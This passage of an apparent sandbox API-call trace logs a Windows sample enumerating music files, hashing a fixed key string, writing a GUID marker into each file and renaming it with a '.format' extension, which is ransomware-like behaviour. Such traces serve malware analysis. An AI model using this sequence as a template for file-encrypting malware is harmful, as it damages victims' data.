lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.409] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.409] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.409] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.409] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac3d0 | out: hHeap=0x5d0000) returned 1 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\") returned="I1WhKlENAwKn\\" [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\") returned="c8v-4o\\" [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.410] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.410] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.411] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.411] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.411] PathFindFileNameW (pszPath="") returned="" [0068.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.411] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d39be50, ftCreationTime.dwHighDateTime=0x1d4d190, ftLastAccessTime.dwLowDateTime=0x759cd9a0, ftLastAccessTime.dwHighDateTime=0x1d4d49b, ftLastWriteTime.dwLowDateTime=0x759cd9a0, ftLastWriteTime.dwHighDateTime=0x1d4d49b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.411] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9d39be50, ftCreationTime.dwHighDateTime=0x1d4d190, ftLastAccessTime.dwLowDateTime=0x759cd9a0, ftLastAccessTime.dwHighDateTime=0x1d4d49b, ftLastWriteTime.dwLowDateTime=0x759cd9a0, ftLastWriteTime.dwHighDateTime=0x1d4d49b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.411] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2da8b610, ftCreationTime.dwHighDateTime=0x1d4ceb9, ftLastAccessTime.dwLowDateTime=0x7aa84da0, ftLastAccessTime.dwHighDateTime=0x1d4d52a, ftLastWriteTime.dwLowDateTime=0x7aa84da0, ftLastWriteTime.dwHighDateTime=0x1d4d52a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2HbpYbcNbRAx3BVQy_4", cAlternateFileName="2HBPYB~1")) returned 1 [0068.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0068.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edca8 [0068.411] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5872cc40, ftCreationTime.dwHighDateTime=0x1d4caa5, ftLastAccessTime.dwLowDateTime=0x1850aa40, ftLastAccessTime.dwHighDateTime=0x1d4c985, ftLastWriteTime.dwLowDateTime=0x1850aa40, ftLastWriteTime.dwHighDateTime=0x1d4c985, nFileSizeHigh=0x0, nFileSizeLow=0x15a0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aKq_c.m4a", cAlternateFileName="")) returned 1 [0068.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.411] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.411] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\aKq_c.m4a") returned=".m4a" [0068.411] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\aKq_c.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\akq_c.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.411] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=88591) returned 1 [0068.411] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.414] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x159e9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.414] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.415] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.415] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x15a0f, lpOverlapped=0x0) returned 1 [0068.415] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.415] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.415] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.415] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.415] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac3d0) returned 1 [0068.416] CryptCreateHash (in: hProv=0x6ac3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.416] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.416] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.416] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.416] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.416] GetLastError () returned 0x0 [0068.416] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.416] CryptReleaseContext (hProv=0x6ac3d0, dwFlags=0x0) returned 1 [0068.417] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x15a0f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.417] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.417] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.417] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.417] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.417] CloseHandle (hObject=0x5c8) returned 1 [0068.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.419] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.419] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\aKq_c.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\akq_c.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\aKq_c.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\akq_c.m4a.format")) returned 1 [0068.420] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24db73e0, ftCreationTime.dwHighDateTime=0x1d4ca60, ftLastAccessTime.dwLowDateTime=0x80ce5b10, ftLastAccessTime.dwHighDateTime=0x1d4d224, ftLastWriteTime.dwLowDateTime=0x80ce5b10, ftLastWriteTime.dwHighDateTime=0x1d4d224, nFileSizeHigh=0x0, nFileSizeLow=0x4718, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="d Ca_C.m4a", cAlternateFileName="DCA_C~1.M4A")) returned 1 [0068.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.420] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\d Ca_C.m4a") returned=".m4a" [0068.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\d Ca_C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\d ca_c.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.420] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=18200) returned 1 [0068.420] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.423] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x46f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.423] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.424] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x4718, lpOverlapped=0x0) returned 1 [0068.424] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.424] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.424] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.424] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.424] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac3d0) returned 1 [0068.425] CryptCreateHash (in: hProv=0x6ac3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.425] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.425] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.425] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.425] GetLastError () returned 0x0 [0068.425] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.425] CryptReleaseContext (hProv=0x6ac3d0, dwFlags=0x0) returned 1 [0068.425] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x4718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.425] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.425] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.425] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.425] CloseHandle (hObject=0x5c8) returned 1 [0068.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32a28f8 [0068.426] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8a0) returned 0x3178dd8 [0068.426] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\d Ca_C.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\d ca_c.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\d Ca_C.m4a.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\d ca_c.m4a.format")) returned 1 [0068.427] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf8d0990, ftCreationTime.dwHighDateTime=0x1d4c966, ftLastAccessTime.dwLowDateTime=0xd0404550, ftLastAccessTime.dwHighDateTime=0x1d4c685, ftLastWriteTime.dwLowDateTime=0xd0404550, ftLastWriteTime.dwHighDateTime=0x1d4c685, nFileSizeHigh=0x0, nFileSizeLow=0x5872, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KGDQexIoJdVjE0xEfmf.mp3", cAlternateFileName="KGDQEX~1.MP3")) returned 1 [0068.427] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.428] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.428] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\KGDQexIoJdVjE0xEfmf.mp3") returned=".mp3" [0068.428] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\KGDQexIoJdVjE0xEfmf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\kgdqexiojdvje0xefmf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.428] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=22642) returned 1 [0068.428] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.430] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x584c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.430] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0068.431] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x5872, lpOverlapped=0x0) returned 1 [0068.431] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.431] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0068.431] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.431] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.431] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac3d0) returned 1 [0068.432] CryptCreateHash (in: hProv=0x6ac3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.432] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.432] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.432] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0068.432] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.432] GetLastError () returned 0x0 [0068.432] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.432] CryptReleaseContext (hProv=0x6ac3d0, dwFlags=0x0) returned 1 [0068.432] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x5872, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0068.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0068.433] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0068.433] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0068.433] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.433] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.433] CloseHandle (hObject=0x5c8) returned 1 [0068.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31ee098 [0068.434] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8b0) returned 0x3178dd8 [0068.434] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\KGDQexIoJdVjE0xEfmf.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\kgdqexiojdvje0xefmf.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\KGDQexIoJdVjE0xEfmf.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\c8v-4o\\i1whklenawkn\\kgdqexiojdvje0xefmf.mp3.format")) returned 1 [0068.435] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf914fbb0, ftCreationTime.dwHighDateTime=0x1d4cec8, ftLastAccessTime.dwLowDateTime=0x5019a070, ftLastAccessTime.dwHighDateTime=0x1d4c8f0, ftLastWriteTime.dwLowDateTime=0x5019a070, ftLastWriteTime.dwHighDateTime=0x1d4c8f0, nFileSizeHigh=0x0, nFileSizeLow=0x122f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="o8TP1cQC154b0u.mp3", cAlternateFileName="O8TP1C~1.MP3")) returned 1 [0068.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac3d0 [0068.435] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xbe) returned 0x3185980 [0068.435] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\c8v-4o\\I1WhKlENAwKn\\o8TP1cQC154b0u.mp3") returned=".mp3" 